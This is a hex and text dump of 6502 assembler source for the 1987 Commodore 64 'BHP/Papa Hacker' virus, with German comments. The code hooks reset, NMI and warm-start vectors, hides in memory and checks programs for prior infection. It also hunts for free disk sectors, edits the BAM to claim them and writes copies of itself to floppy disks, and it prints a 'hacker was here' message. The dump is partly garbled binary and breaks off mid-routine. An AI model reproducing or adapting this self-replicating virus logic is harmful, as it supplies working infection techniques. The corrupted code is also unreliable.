00004250: 00 6F 4A 70 85 4A 53 52 20 24 46 44 35 46 20 20 |.oJp.JSR $FD5F |
00004260: 20 3B 53 50 45 49 43 48 45 52 20 49 4E 49 54 00 | ;SPEICHER INIT.|
00004270: 7C 4A 7A 85 4A 53 52 20 4D 41 4B 45 00 9A 4A 84 ||Jz.JSR MAKE..J.|
00004280: 85 4A 53 52 20 24 46 44 31 35 20 20 20 3B 56 45 |.JSR $FD15 ;VE|
00004290: 4B A4 52 45 4E 20 49 4E 49 54 00 A9 4A 8E 85 4A |K.REN INIT..J..J|
000042A0: 53 52 20 52 45 49 4E 53 54 00 B6 4A 98 85 4A 53 |SR REINST..J..JS|
000042B0: 52 20 4D 41 4B 45 00 DA 4A A2 85 4A 4D 50 20 24 |R MAKE..J..JMP $|
000042C0: 46 43 46 42 20 20 20 3B 52 45 53 45 54 20 4E B0 |FCFB ;RESET N.|
000042D0: 4D 41 4C 20 57 45 49 54 45 52 00 FA 4A 40 9C 3B |MAL WEITER..J@.;|
000042E0: AB AB AB 56 49 52 55 53 20 4C 49 4E 4B 20 50 52 |...VIRUS LINK PR|
000042F0: 4F 47 52 41 4D 4D AB AB AB B1 00 15 4B 4A 9C 45 |OGRAMM......KJ.E|
00004300: 58 54 45 52 4E 20 4E 4F 50 20 3A 20 4E 4F 50 20 |XTERN NOP : NOP |
00004310: 3A 20 4E 4F 50 00 3B 4B 54 9C 52 54 53 20 20 20 |: NOP.;KT.RTS |
00004320: 20 20 20 20 20 20 3B 45 58 54 45 52 45 4E 20 42 | ;EXTEREN B|
00004330: 45 46 45 48 4C 20 41 55 53 46 2E 00 5A 4B 5E 9C |EFEHL AUSF..ZK^.|
00004340: 4A 53 52 20 52 4F 4D 52 41 4D 20 20 3B 53 C0 44 |JSR ROMRAM ;S.D|
00004350: 41 52 54 20 4B 91 46 49 47 2E 00 67 4B 68 9C 4A |ART K.FIG..gKh.J|
00004360: 53 52 20 4C 49 4E 4B 00 6F 4B 72 9C 53 45 49 00 |SR LINK.oKr.SEI.|
00004370: 90 4B 7C 9C 49 52 4F 4D 52 41 4D 20 50 48 50 20 |.K|.IROMRAM PHP |
00004380: 3B 52 45 47 49 53 54 45 52 20 52 45 54 54 45 4E |;REGISTER RETTEN|
00004390: 00 A2 4B 86 9C 50 48 41 20 20 20 20 20 20 20 20 |..K..PHA |
000043A0: 20 3B 00 C5 4B 90 9C 4C 44 41 20 31 20 20 20 20 | ;..K..LDA 1 |
000043B0: 20 20 20 3B 4F 53 20 55 4E 44 20 49 4F 20 45 49 | ;OS UND IO EI|
000043C0: 4E AD 41 55 53 00 CF 4B 9A 9C 45 B0 20 23 37 00 |N.AUS..K..E. #7.|
000043D0: DF 4B A4 9C 49 51 55 49 54 20 53 54 41 20 31 00 |.K..IQUIT STA 1.|
000043E0: E7 4B AE 9C 50 4C 41 00 EF 4B B8 9C 50 4C 50 00 |.K..PLA..K..PLP.|
000043F0: F7 4B C2 9C 52 54 53 00 05 4C CC 9C 49 93 20 20 |.K..RTS..L..I. |
00004400: 4A 53 52 20 93 00 24 4C D6 9C 4A 53 52 20 8A 49 |JSR ..$L..JSR .I|
00004410: 54 20 20 20 20 20 20 20 20 3A 20 2E 42 59 54 45 |T : .BYTE|
00004420: 20 31 32 38 00 2C 4C E0 9C 52 54 53 00 3A 4C EA | 128.,L..RTS.:L.|
00004430: 9C 49 94 20 20 4A 53 52 20 94 00 59 4C F4 9C 4A |.I. JSR ..YL..J|
00004440: 53 52 20 8A 49 54 20 20 20 20 20 20 20 20 3A 20 |SR .IT : |
00004450: 2E 42 59 54 45 20 20 36 34 00 61 4C FE 9C 52 54 |.BYTE 64.aL..RT|
00004460: 53 00 80 4C 08 9D 49 42 57 53 31 20 20 4A 53 52 |S..L..IBWS1 JSR|
00004470: 20 8A 49 54 20 3A 20 2E 42 59 54 45 20 20 33 32 | .IT : .BYTE 32|
00004480: 00 94 4C 12 9D 49 42 57 53 32 20 20 4A 4D 50 20 |..L..IBWS2 JMP |
00004490: 42 57 53 31 00 B3 4C 1C 9D 49 4E 4D 49 31 20 20 |BWS1..L..INMI1 |
000044A0: 4A 53 52 20 8A 49 54 20 3A 20 2E 42 59 54 45 20 |JSR .IT : .BYTE |
000044B0: 20 31 36 00 C7 4C 26 9D 49 4E 4D 49 32 20 20 4A | 16..L&.INMI2 J|
000044C0: 4D 50 20 4E 4D 49 31 00 D4 4C 34 9E 49 8A 49 54 |MP NMI1..L4.I.IT|
000044D0: 20 50 48 50 00 DC 4C 3E 9E 50 48 41 00 F1 4C 48 | PHP..L>.PHA..LH|
000044E0: 9E 43 48 45 43 4B 20 4C 44 41 20 4E 4D 49 54 41 |.CHECK LDA NMITA|
000044F0: 48 00 13 4D 52 9E AF 20 4E 4D 49 54 42 48 20 20 |H..MR.. NMITBH |
00004500: 3B 4E 4D 49 AB 54 49 4D 45 52 20 41 42 46 52 41 |;NMI.TIMER ABFRA|
00004510: 47 45 4E 00 21 4D 5C 9E 42 45 51 20 43 48 45 43 |GEN.!M\.BEQ CHEC|
00004520: 4B 00 29 4D 66 9E 53 45 49 00 33 4D 70 9E 4C 44 |K.)Mf.SEI.3Mp.LD|
00004530: 41 20 31 00 3B 4D 7A 9E 50 48 41 00 46 4D 84 9E |A 1.;Mz.PHA.FM..|
00004540: 4C 44 41 20 23 30 00 50 4D 8E 9E 53 54 41 20 31 |LDA #0.PM..STA 1|
00004550: 00 5D 4D 98 9E 4A 53 52 20 9E 54 45 4D 00 6A 4D |.]M..JSR .TEM.jM|
00004560: A2 9E 49 80 49 54 20 50 4C 41 00 77 4D AC 9E 4A |..I.IT PLA.wM..J|
00004570: 4D 50 20 51 55 49 54 00 91 4D B6 9E 49 4E 41 4D |MP QUIT..M..INAM|
00004580: 45 20 2E C6 20 22 2A 22 20 3B 20 46 49 C3 41 4D |E .. "*" ; FI.AM|
00004590: 45 00 B0 4D 28 A0 49 52 45 53 45 54 20 4C 44 41 |E..M(.IRESET LDA|
000045A0: 20 23 24 32 46 20 20 3A 20 53 54 41 20 24 30 30 | #$2F : STA $00|
000045B0: 00 C8 4D 32 A0 4C 44 41 20 23 24 30 30 20 20 3A |..M2.LDA #$00 :|
000045C0: 20 53 54 41 20 24 30 31 00 D7 4D 3C A0 4A 4D 50 | STA $01..M<.JMP|
000045D0: 20 9E 52 45 53 45 54 00 F8 4D 67 BF 3B AB AB AB | .RESET..Mg.;...|
000045E0: AB AB AB AB AB AB AB AB AB AB AB AB AB AB AB AB |................|
000045F0: AB AB AB AB AB AB AB AB 00 12 4E 68 BF 8E 20 52 |..........Nh.. R|
00004600: 54 49 20 20 3B 4E 4D 49 AB 52 55 45 43 4B 53 50 |TI ;NMI.RUECKSP|
00004610: 8A 47 00 33 4E 41 C3 52 4F 4D 52 41 4D 20 B2 20 |.G.3NA.ROMRAM . |
00004620: 49 52 4F 4D 52 41 4D AB 45 58 54 45 52 4E AA 4C |IROMRAM.EXTERN.L|
00004630: 49 4E 4B 00 50 4E 42 C3 8A 49 54 20 20 B2 20 49 |INK.PNB..IT . I|
00004640: 8A 49 54 20 AB 45 58 54 45 52 4E AA 4C 49 4E 4B |.IT .EXTERN.LINK|
00004650: 00 6D 4E 43 C3 80 49 54 20 20 B2 20 49 80 49 54 |.mNC..IT . I.IT|
00004660: 20 AB 45 58 54 45 52 4E AA 4C 49 4E 4B 00 8E 4E | .EXTERN.LINK..N|
00004670: 44 C3 52 45 53 45 54 20 20 B2 20 49 52 45 53 45 |D.RESET . IRESE|
00004680: 54 20 AB 45 58 54 45 52 4E AA 4C 49 4E 4B 00 AF |T .EXTERN.LINK..|
00004690: 4E 45 C3 42 57 53 32 20 20 20 B2 20 49 42 57 53 |NE.BWS2 . IBWS|
000046A0: 32 20 20 AB 45 58 54 45 52 4E AA 4C 49 4E 4B 00 |2 .EXTERN.LINK.|
000046B0: D0 4E 46 C3 42 57 53 31 20 20 20 B2 20 49 42 57 |.NF.BWS1 . IBW|
000046C0: 53 31 20 20 AB 45 58 54 45 52 4E AA 4C 49 4E 4B |S1 .EXTERN.LINK|
000046D0: 00 F1 4E 47 C3 4E 4D 49 32 20 20 20 B2 20 49 4E |..NG.NMI2 . IN|
000046E0: 4D 49 32 20 20 AB 45 58 54 45 52 4E AA 4C 49 4E |MI2 .EXTERN.LIN|
000046F0: 4B 00 12 4F 48 C3 4E 4D 49 31 20 20 20 B2 20 49 |K..OH.NMI1 . I|
00004700: 4E 4D 49 31 20 20 AB 45 58 54 45 52 4E AA 4C 49 |NMI1 .EXTERN.LI|
00004710: 4E 4B 00 2D 4F 49 C3 94 20 20 20 B2 20 49 94 20 |NK.-OI.. . I. |
00004720: 20 AB 45 58 54 45 52 4E AA 4C 49 4E 4B 00 48 4F | .EXTERN.LINK.HO|
00004730: 4A C3 93 20 20 20 B2 20 49 93 20 20 AB 45 58 54 |J.. . I. .EXT|
00004740: 45 52 4E AA 4C 49 4E 4B 00 69 4F 4B C3 4E 41 4D |ERN.LINK.iOK.NAM|
00004750: 45 20 20 20 B2 20 49 4E 41 4D 45 20 20 AB 45 58 |E . INAME .EX|
00004760: 54 45 52 4E AA 4C 49 4E 4B 00 8A 4F 4C C3 51 55 |TERN.LINK..OL.QU|
00004770: 49 54 20 20 20 B2 20 49 51 55 49 54 20 20 AB 45 |IT . IQUIT .E|
00004780: 58 54 45 52 4E AA 4C 49 4E 4B 00 A9 4F 4D C3 52 |XTERN.LINK..OM.R|
00004790: 45 53 45 54 56 20 2E 42 59 54 45 20 B3 52 45 53 |ESETV .BYTE .RES|
000047A0: 45 54 2C B1 52 45 53 45 54 00 BB 4F 4E C3 2E 42 |ET,.RESET..ON..B|
000047B0: 59 54 45 20 24 35 45 2C 24 46 45 00 D9 4F 4F C3 |YTE $5E,$FE..OO.|
000047C0: 2E 42 59 54 45 20 24 43 33 2C 24 43 32 2C 24 43 |.BYTE $C3,$C2,$C|
000047D0: 44 2C 24 33 38 2C 24 33 30 00 FA 4F 50 C3 3B AB |D,$38,$30..OP.;.|
000047E0: AB AB AB AB AB 56 49 52 55 53 AB 4D 45 4C 44 45 |.....VIRUS.MELDE|
000047F0: 54 AB 53 49 43 48 AB AB B1 43 00 18 50 51 C3 43 |T.SICH...C..PQ.C|
00004800: 41 4C 4C 20 4C 44 41 20 24 39 44 20 3B 44 49 52 |ALL LDA $9D ;DIR|
00004810: 45 4B 54 4D 4F 44 55 53 00 23 50 52 C3 42 50 4C |EKTMODUS.#PR.BPL|
00004820: 20 43 34 00 43 50 53 C3 4C 44 41 20 24 41 32 20 | C4.CPS.LDA $A2 |
00004830: 20 20 20 20 20 3B 4C 4F 57 AB 42 59 54 45 20 5A | ;LOW.BYTE Z|
00004840: 45 49 54 00 4E 50 54 C3 42 50 4C 20 43 34 00 5B |EIT.NPT.BPL C4.[|
00004850: 50 55 C3 4A 53 52 20 4D 41 4B 45 00 79 50 56 C3 |PU.JSR MAKE.yPV.|
00004860: 4C 44 41 20 24 44 30 31 32 20 20 20 20 3B 52 41 |LDA $D012 ;RA|
00004870: 53 54 45 52 5A 45 49 4C 45 00 84 50 57 C3 42 50 |STERZEILE..PW.BP|
00004880: 4C 20 43 34 00 91 50 6E C3 4C 44 59 20 23 24 30 |L C4..Pn.LDY #$0|
00004890: 30 00 A3 50 78 C3 43 33 20 4C 44 41 20 54 45 58 |0..Px.C3 LDA TEX|
000048A0: 54 2C 59 00 AE 50 82 C3 42 45 51 20 43 31 00 BB |T,Y..P..BEQ C1..|
000048B0: 50 8C C3 4A 53 52 20 4D 41 4B 45 00 DC 50 96 C3 |P..JSR MAKE..P..|
000048C0: 4A 53 52 20 43 48 41 52 4F 55 54 20 20 3B 5A 45 |JSR CHAROUT ;ZE|
000048D0: 49 43 48 45 4E 41 55 53 47 41 42 45 00 E7 50 B4 |ICHENAUSGABE..P.|
000048E0: C3 4C 44 58 20 23 30 00 F7 50 B5 C3 43 32 20 4A |.LDX #0..P..C2 J|
000048F0: 53 52 20 4D 41 4B 45 00 15 51 B6 C3 49 4E 43 20 |SR MAKE..Q..INC |
00004900: 24 44 30 32 30 20 20 20 20 3B 52 41 48 4D 45 4E |$D020 ;RAHMEN|
00004910: 46 41 52 42 45 00 1D 51 BE C3 49 4E 58 00 28 51 |FARBE..Q..INX.(Q|
00004920: C8 C3 42 4E 45 20 43 32 00 30 51 D2 C3 49 4E 59 |..BNE C2.0Q..INY|
00004930: 00 3B 51 DC C3 4A 4D 50 20 43 33 00 4E 51 FB C3 |.;Q..JMP C3.NQ..|
00004940: 43 31 20 4C 44 58 20 43 4F 55 4E 54 45 52 00 60 |C1 LDX COUNTER.`|
00004950: 51 FC C3 4C 44 41 20 43 4F 55 4E 54 45 52 AA 31 |Q..LDA COUNTER.1|
00004960: 00 6D 51 FD C3 4A 53 52 20 4D 41 4B 45 00 8F 51 |.mQ..JSR MAKE..Q|
00004970: FE C3 4A 53 52 20 24 42 44 43 44 20 20 20 20 3B |..JSR $BDCD ;|
00004980: 4E 55 4D 4D 45 52 20 41 55 53 47 45 42 45 4E 00 |NUMMER AUSGEBEN.|
00004990: A4 51 FF C3 4C 44 41 20 23 31 33 20 20 20 20 20 |.Q..LDA #13 |
000049A0: 20 3B 43 52 00 B1 51 00 C4 4A 53 52 20 4D 41 4B | ;CR..Q..JSR MAK|
000049B0: 45 00 CC 51 01 C4 4A 53 52 20 43 48 41 52 4F 55 |E..Q..JSR CHAROU|
000049C0: 54 20 20 3B 41 55 53 47 45 42 45 4E 00 DF 51 02 |T ;AUSGEBEN..Q.|
000049D0: C4 43 34 20 49 4E 43 20 43 4F 55 4E 54 45 52 00 |.C4 INC COUNTER.|
000049E0: EA 51 03 C4 42 4E 45 20 43 36 00 FC 51 04 C4 49 |.Q..BNE C6..Q..I|
000049F0: 4E 43 20 43 4F 55 4E 54 45 52 AA 31 00 07 52 05 |NC COUNTER.1..R.|
00004A00: C4 43 36 20 52 54 53 00 19 52 18 C4 54 45 58 54 |.C6 RTS..R..TEXT|
00004A10: 20 2E 42 59 54 45 20 31 33 00 50 52 19 C4 2E C6 | .BYTE 13.PR....|
00004A20: 20 22 44 52 2E 44 52 2E 53 54 52 4F 42 45 26 50 | "DR.DR.STROBE&P|
00004A30: 41 50 41 20 48 41 43 4B 45 52 20 57 41 53 20 48 |APA HACKER WAS H|
00004A40: 45 52 45 21 22 20 3A 20 2E 42 59 54 45 20 31 33 |ERE!" : .BYTE 13|
00004A50: 00 7B 52 22 C4 2E C6 20 22 43 4F 50 52 4F 47 52 |.{R"... "COPROGR|
00004A60: 41 4D 4D 45 52 3A 20 47 41 52 46 49 45 4C 44 22 |AMMER: GARFIELD"|
00004A70: 20 3A 20 2E 42 59 54 45 20 31 33 00 88 52 27 C4 | : .BYTE 13..R'.|
00004A80: 2E 42 59 54 45 20 31 33 00 C2 52 28 C4 2E C6 20 |.BYTE 13..R(... |
00004A90: 22 48 41 4C 4C 4F 20 44 49 43 4B 45 52 43 48 45 |"HALLO DICKERCHE|
00004AA0: 4E 2C 20 44 49 45 53 20 49 53 54 20 45 49 4E 20 |N, DIES IST EIN |
00004AB0: 45 43 48 54 45 52 22 20 3A 20 2E 42 59 54 45 20 |ECHTER" : .BYTE |
00004AC0: 31 33 00 E0 52 29 C4 2E C6 20 22 56 49 52 55 53 |13..R)... "VIRUS|
00004AD0: 21 22 20 3A 20 2E 42 59 54 45 20 31 33 2C 31 33 |!" : .BYTE 13,13|
00004AE0: 00 FE 52 2C C4 2E C6 20 22 53 45 52 49 41 4C 4E |..R,... "SERIALN|
00004AF0: 4F 2E 3A 22 20 3A 20 2E 42 59 54 45 20 30 00 11 |O.:" : .BYTE 0..|
00004B00: 53 36 C4 43 4F 55 4E 54 45 52 20 2E 57 B0 44 20 |S6.COUNTER .W.D |
00004B10: 30 00 34 53 18 F6 AC B2 20 32 35 34 AC 42 4C 4F |0.4S.... 254.BLO|
00004B20: 43 4B 53 AA 53 54 41 52 54 AB 32 20 3A 20 AC B2 |CKS.START.2 : ..|
00004B30: 20 AC AA 32 00 44 53 19 F6 2E 42 59 54 45 20 24 | ..2.DS...BYTE $|
00004B40: 30 2C 24 30 00 14 00 |0,$0... |
..N.... COPYRIGHT 1987 BY BHP+PAPA HACKE
R VIRUS C-64 MUNICH 18.2.1987.A
....1,8,1,"VIRUS".M....9.4096.Y....OPT O
1.....START . $D000....... ST
ART.....PAR . $B7.G...MEM . $58.
....SETPAR . $FFBA.....SETNAME . $FFBD.
....IEC. . $F3D5.....SEK . $B9.$...D
EV . $BA.5...SEK. . $FF93.I...SEKTAL
K . $FF96.Z.... . $FFB1.N...TALK .
$FFB4....UN. . $FFAE.....UNTALK . $F
FAB.....IEC. . $FFA5.....IECOUT . $FFA
8.K...STATUS . $90.....COUNT . MEM...
.. . $F642.....BAM . COUNT . 1...
..TRACK . BAM . 3.5...VTRACK . TRAC
K . 1.K....E . VTRACK. 1.A. .PUFFER
. .E . 1.Y.!.JOB . PUFFER. 1...".DO
. JOB . 1...#.X . BAM...$.
Y . BAM . 1.S.%.Z . BAM
. 2...&.BASICS . 43...'.ADR . DO
. 1...(.SEC.R . ADR . 1.*.).VSEC
. SEC.R. 1.:.*.BLOCKS . 8.K.+.W.K .
$8B.].,.MEM1 . W.K.T.-.MEM2 . W.K
. 1.....MEM3 . W.K . 2.../.MEM4
. W.K . 3...0.BREAKP . $0316.G.1.BASIC
E . 45.V.2..E . $AE...3.LINKC . 88...
4..P . $0330...5..P . $0332...6.LINK
. $02A7./.7.NMITAH . $DD05.C.8.NMIT
BH . $DD07.W.9.NMIP . $0318.K.:.ROMT
EST . $FD02..;.WARMP . $0302...<.IRQP
. $0314...=.IRQE . $EA31...>.NMIE
. $EA86.L.?.. . $FFE1...@.CHAROUT
. $FFD2......BYTE 031,008,194,007,158."
...VIRUS .BYTE 194,040,052,051,041.@....
BYTE 170,194,040,052,052.^....BYTE 041,1
72,050,053,054.|....BYTE 170,052,056,058
,086......BYTE 073,082,085,083,000...$..
BYTE 000,000...)..W.D BLOCKS.254...*..BY
TE $A7,$AD,$A6,$5D,$A5,$32,$A6,$8D...+..
.. . 6.....;1986 .B(43).B(44).256.48:. .
8.;VIRUS.D.O.;...INITIALISIERE.VIRUS....
INIT.P.P.LDY #34.I.Z.INIT3 LDA (BASICS),
Y.Q...PHA.Y...INY.....CPY #42.....BNE IN
IT3...P.PHP ;STATUS,.Q.Z.SEI
;.ERRUPT SPERREN !.....PHA
;AKKU,.....LDA 1 ;UND SPEICHER
K.FIG..'...PHA ;RETTEN.7...LDA
#..IT.1.\...PHA ;RUECKKEHRPUNKT
VOM.V...LDA #..IT.1;VIRUS.TEM.~...PHA..
.J.LDA #0...T.STA 1 ;AUF RAM UMSC
HALTEN.....LDY #$03.O...INIT1 LDA W.K,Y.
W...PHA.....DEY.....BPL INIT1.....LDA BA
SICS ;KOPIERE DEN VIRUS.5...STA MEM1
;UNTER I.O BEREICH.F.$.LDA BASICS.1.S
...STA MEM2.C.8.LDA #.START.P.B.STA MEM3
...L.LDA #.START...V.STA MEM4...`.LDX #B
LOCKS...J.LDY #0...T.INIT2 LDA (MEM1),Y.
P.~.STA (MEM3),Y.X...INY.....BNE INIT2..
...INC MEM2.....INC MEM4.....DEX.....BNE
INIT2. .D.JMP ..D...;....VERSCHIEBE PRO
GRAMM...MOVE.G.B.MOVE SEC ;SETZE PRO
GRAMM.E.|.L.LDA .E ;PO.ER...Q.LDY #32
...V.SBC (BASICS),Y.....STA BASICE.....S
TA .E.C...LDA .E .1.K...INY.....SBC (BAS
ICS),Y.....STA BASICE.1.....STA .E .1...
..LDA #0.+.&.STA MEM1 ;VERSCHIEBE PO
.ER.G.0.LDA BASICS.1 ;BERECHNEN.T.:.STA
MEM2.\.D.CLC.D.I.DEY.W.N.LDA (BASICS),Y.
..X.ADC BASICS...B.STA MEM3...G.INY...L.
LDA (BASICS),Y...V.ADC BASICS.1.L...STA
MEM4.T...SEC.....LDA MEM3.....SBC BASICS
.....STA MEM3.....LDA MEM4.....SBC #0.".
F.STA MEM4.1.P.LDY BASICS.F.Z.MOVE1 CPY
BASICE.T...BNE MOVE2.A...LDA MEM2.R...CM
P BASICE.1.....BEQ MOVE3.....MOVE2 LDA (
MEM3),Y.....STA (MEM1),Y... .INY.V.*.BNE
MOVE1 ;PROGRAMM AN .GINAL....4.INC M
EM2 ;ADRESSE VERSCHIEBEN...>.INC MEM
4...H.BNE MOVE1.*.R.MOVE3 LDA .E.1.N.\.C
MP #$80 ;UEBERPRUEFE LADE..I.F.BCS M
OVE4 ;.ADRESSE.T.P.LDX #9...Z.ROM LDA
RESETV,X.....STA $8000,X.....DEX.....BP
L ROM.....MOVE4 RTS... .;....NEUSTART VI
RUS............... LDA $FFFA.....PHA
;NMI.VEK.R RETTEN. ...LDA $FFFB ;
.2.H.PHA ;.Q.R.LDA #..;UND AUF R
TI SETZEN.C...STA $FFFA ;.O...LDA #...
}...STA $FFFB.....JSR MOVE ;PROGRAMM
VERSCHIEBEN.....LDA #0.....TAY.....CLC.Q
...N1 ADC VIRUS,Y.Y...ROL.....ADC #0....
.INY.....CPY #27.....BNE N1.....CMP #186
.....BEQ N2.&...N3 INY.9...STA (BASICS),
Y.D...BNE N3.K...N2 JSR INSTALL ;VIRUS I
NSTALLIEREN.....JMP .. ;RUECKKEHR INS .T
EM...H.;.....INSTALL..............I...R.
INSTALL LDA NAME.M.|.CMP #"*".X...BEQ I0
.....BNE I1.....REINST JSR PO.ER.....I0
JSR .;ZEIGER RUECKSETZEN.>...I1 JSR RELI
NK ;LINK.TEIL KOPIEREN.\...JSR PO.ER ;
PO.ER SETZEN.....JSR MAKE ;..EXTERN
AUSFUEHREN.....JSR ROMTEST ;TEST AUF
CBM80 ....B.BNE I2...L.LDX #3...V.JSR RO
M ;VEK.REN SETZEN.....I2 RTS...0.;
.....LINK.TEIL.KOPIEREN...R.!.:.RELINK L
DX #LINKC.5.D.R1 LDA EXTERN,X.Z.N.STA LI
NK,X ;LINK.TEIL NACH LINK.T.X.DEX
;KOPIEREN..B.BPL R1...L.RTS.....;...
..ZEIGER.SETZEN........P.....PO.ER LDA .
P.D...LDA .P.P...CMP #.......BEQ P1
;DIVERSE BETRIEBS......STA ..1 ;.TEM Z
EIGER AUF.....LDA #.. ;VIRUS PROGRAMM.C
...STA .P ;SETZEN.S...P1 LDA .P.1.O.A.
CMP #.. ;(.,.,NMI,IRQ,...F.BEQ P2
;RESET,BASICWARMSTART,...K.STA ..2 ;BRE
AKVEK.R)...P.LDA #...I.U.STA .P.1.W.Z.P2
LDA .P.....CMP #.......BEQ P3.....STA .
.1.....LDA #.......STA .P.!...P3 LDA .P.
1.-...CMP #...8...BEQ P4.D...STA ..2.P..
.LDA #...]...STA .P.1.N...P4 LDA WARMP.}
...CMP #.BWS1... .BEQ P5...%.STA BWS2.1.
..*.LDA #.BWS1.../.STA WARMP.G.4.P5 LDA
WARMP.1.V.9.CMP #.BWS1...>.BEQ P6...C.ST
A BWS2.2...H.LDA #.BWS1...M.STA WARMP.1.
..R.P6 LDA NMIP...W.CMP #.NMI1.9.\.BEQ P
9.H.A.STA NMI2.1.W.F.LDA #.NMI1.D.K.STA
NMIP.V.P.P9 LDA NMIP.1...U.CMP #.NMI1...
Z.BEQ P10. ..STA NMI2.2.....LDA #.NMI1.
....STA NMIP.1.Q...P10 LDA #.NMI1.....ST
A BREAKP.....LDA #.NMI1.....STA BREAKP.1
.....LDA #.RESET.....STA $FFFC.....LDA #
.RESET.<...STA $FFFD.D.J.RTS.D.$.;..ZEIG
ER.ZURUECKSETZEN.....R.).. LDA ..1.....S
TA .P ;DIVERSE BETRIEBS....3.LDA ..2
;.TEMZEIGER AUF.K.8.STA .P.1 ;.GINALADRE
SSE...=.LDA ..1 ;ZURUECKSETZEN...B.STA
.P ;(.,.,NMI,IRQ,.!.G.LDA ..2 ;BASICW
ARMSTART)...L.STA .P.1.=.Q.LDA BWS2.1.K.
V.STA WARMP.Z.[.LDA BWS2.2.J.`.STA WARMP
.1.Y.E.LDA NMI2.1...J.STA NMIP...O.LDA N
MI2.2...T.STA NMIP.1...Y.RTS.P.P.;......
VIRUS.KOPIEREN......JUMP...Z.DOIT LDA ST
ATUS.....PHA ;STATUS RETTEN....
.LDX #$05.&...JUMP12 LDA PAR,X.....PHA.N
...DEX ;SPEICHERSTELC.Q...BPL J
UMP12 ;AUF STACK RETTEN.....LDX #13.BL
OCKS...J.JUMP13 LDA MEM,X...T.PHA.....DE
X.....BPL JUMP13.R...LDA #0 ;FLOPP
Y......JSR HAC.OSH ;.....LDX #$6F ;K
OMM.OKANAL...$.STX SEK ;.....JSR HA
NS ;OEF.EN.O.8.LDA #1 ;ZU.ZTBE
NUTZTES.F.B.LDX #.NAME ;FILE.Y.L.LDY #
.NAME ;...V.JSR HAC.OSH ;...`.LDA #$60
;...J.STA SEK ;.D.T.JSR HANS
;.R.~.JSR STALK.....JSR BHP ;ADR
L.....CMP BASICS.. ..BNE ... ..JSR BHP
;ADRH.* ..CMP BASICS.1.4 ..BNE ..S D
.LDA #5 ;WENN RICHTIG.Y N.STA COUN
T ;LESE LINK,LINE,.KEN.. X.LOOP1 JSR
BHP.. ..DEC COUNT.. ..BNE LOOP1.. ..TAX.
R ..LDA STATUS ;FEHLER AUF.RETEN.Z ..L
SR.. ..LSR..!..BCS . ;JA
.... !(.CPX #$9E ;..BEFEHL.E!2.BNE
JUMP1 ;NEIN, BASICPRG ....G!<.LDA #0
;TESTE AUF VIRUS.U!F.STA COUNT..!
P.LOOP2 JSR BHP..!Z.LDX COUNT..!D.CMP VI
RUS,X..!N.BNE JUMP1..!X.INX.I!..STX COUN
T.U!..CPX #27..!..BNE LOOP2.." .. JMP BY
E ;PRG SCH. VERSEUCHT.."..JUMP1 JSR SUH
AL.>"..LDA #"R" ;SCHALTE AUF LESE..V
"..STA DO ;MODUS.C"H.LDX #$6F.O"R.
STX SEK.."..LDX #$F9 ;ZU.ZT BENUTZTE
N.."..LDY #0 ;PUFFER ERMITTC.."..L
DA #1.K"..JSR MEM.Y.."..JSR GARFIELD..".
.JSR STALK..#..JSR BHP ;HOLE PUFFER
..#".PHA..#,.JSR SUHAL..PLA.I#@.STA J
OB ;BERECHNE DIVERSE.E#J.CLC
;PARAMETER.P#T.ADC #3..#^.STA ADR
;HIGH.BYTE PUFFER..#H.LDA JOB..#R.ASL.
J#|.ADC #6 ;TRACK&SEC.R FUER..#..T
AX ;JOB..#..STX PUFFER..#..LDY
#0..$..LDA #2 ;HOLE START..8$..JSR
MEM.Y ;TRACK & .SEC.R.I$..JSR GARFIEL
D.W$B.JSR STALK.T$L.JSR BHP ;STARTT
RACK..$V.STA TRACK ;SPEICHERN..$..JSR
BHP ;STARTSEC.R.H$..STA SEC.R ;S
PEICHERN.V$..JSR SUHAL..$..LDA TRACK
;DIREC.RY NICHT..%..CMP #18 ;VERSEU
CHEN..%..BEQ ..A%..LDX #$0E ;PRUEFE
OB BAM IM.E%&.LDY #$00 ;FLOPPY.RAM V
.H.EN.{%0.LDA #2 ;IST..%:.JSR MEM.
Y..%D.JSR GARFIELD..%N.JSR STALK..%X.JSR
BHP.U%B.CMP #18 ;DIREC.RY.TRACK..%
L.BNE . ;NEIN ... DANN .E..&V.JSR
BHP..&..CMP #0 ;BAM.SEC.R.A&..BNE
. ;NEIN ... DANN .E.O&..JSR SUHAL.
R&..LDX #$00 ;SUCHE PLATZ FUER..&..J
UMP3 STX X ;VIRUS..&..TXA..&..LSR
;PRUEFE UNTERSTES BIT..&F.STA COUNT
;WENN BIT.0 SUCHE..&P.BCC JUMP9 ;N
ACH INNEN..'Z.LDA TRACK ;.ERFALLS NAC
H.2'..SBC COUNT ;AUSSEN.A'..JMP JUMP1
0.V'..JUMP9 ADC TRACK.L'..JUMP10 STA VT
RACK..'..BEQ JUMP16 ;SPUR.35 ODER..'..
CMP #36 ;.1 DANN WEITERSUCHEN.A' .B
CS JUMP16..'*.CMP #18 ;DIREC.RYSPUR
..'4.BEQ JUMP16..(>.JSR BSELECT ;SUCHE
PLATZ..(H.JSR GARFIELD.,(R.JSR STALK.8(\
.JSR BHP.Y(F.CMP #BLOCKS ;PLATZ GEFUNDE
N.Q(P.BCS JUMP4 ;JA....(Z.JSR SUHAL.
.(..JUMP16 LDX X..(..INX ;PRUEF
E OB WEITERE.S(..CPX #68 ;SUCHE .NV
OLL..(..BNE JUMP3 ;...JA..)..JMP .
;NEIN,DANN VIRUS .E.$)..JUMP4 SBC #BL
OCKS.B)..STA .E ;PLATZ BELEGEN.C)J.J
SR BHP ;LESE BAM.TRACK.O)T.STA BAM.
{)..JSR BHP..)..STA BAM.1..)..JSR BHP..)
..STA BAM.2..)..JSR GARFIELD.X)..LDY #BL
OCKS ;SUCHE .IE SEC.REN..)..LDX #$FF..)
$.JUMP5 PHP..)..INX..*8.CPX #25..*B.BEQ
JUMP6..*L.PLP.**V.R. BAM.2.7*`.R. BAM.1.
B*J.R. BAM.A*T.BCC JUMP5 ;SEC.R BELEG
T.L*~.CPY #0.Z*..BEQ JUMP5..*..TXA
;SEC.R GEFUNDEN..*..STA VSEC.1,Y..*.
.DEY..*..CLC..*..BCC JUMP5 ;WEITER SU
CHEN..*D.JUMP6 PLP..+N.LDA #"W" ;SCH
ALTE AUF.'+X.STA DO ;SCHREIBMODUS.
6+..LDA VTRACK.S+..JSR BSELECT ;BAM UPD
ATE.^+..LDA .E.K+..JSR PAPA.W+..LDA BAM.
.+..JSR PAPA..+..LDA BAM.1..+(.JSR PAPA.
.+2.LDA BAM.2..+<.JSR OUTUNL..+F.LDX #4
;SCHREIBE BAM AUF..+P.LDY #0
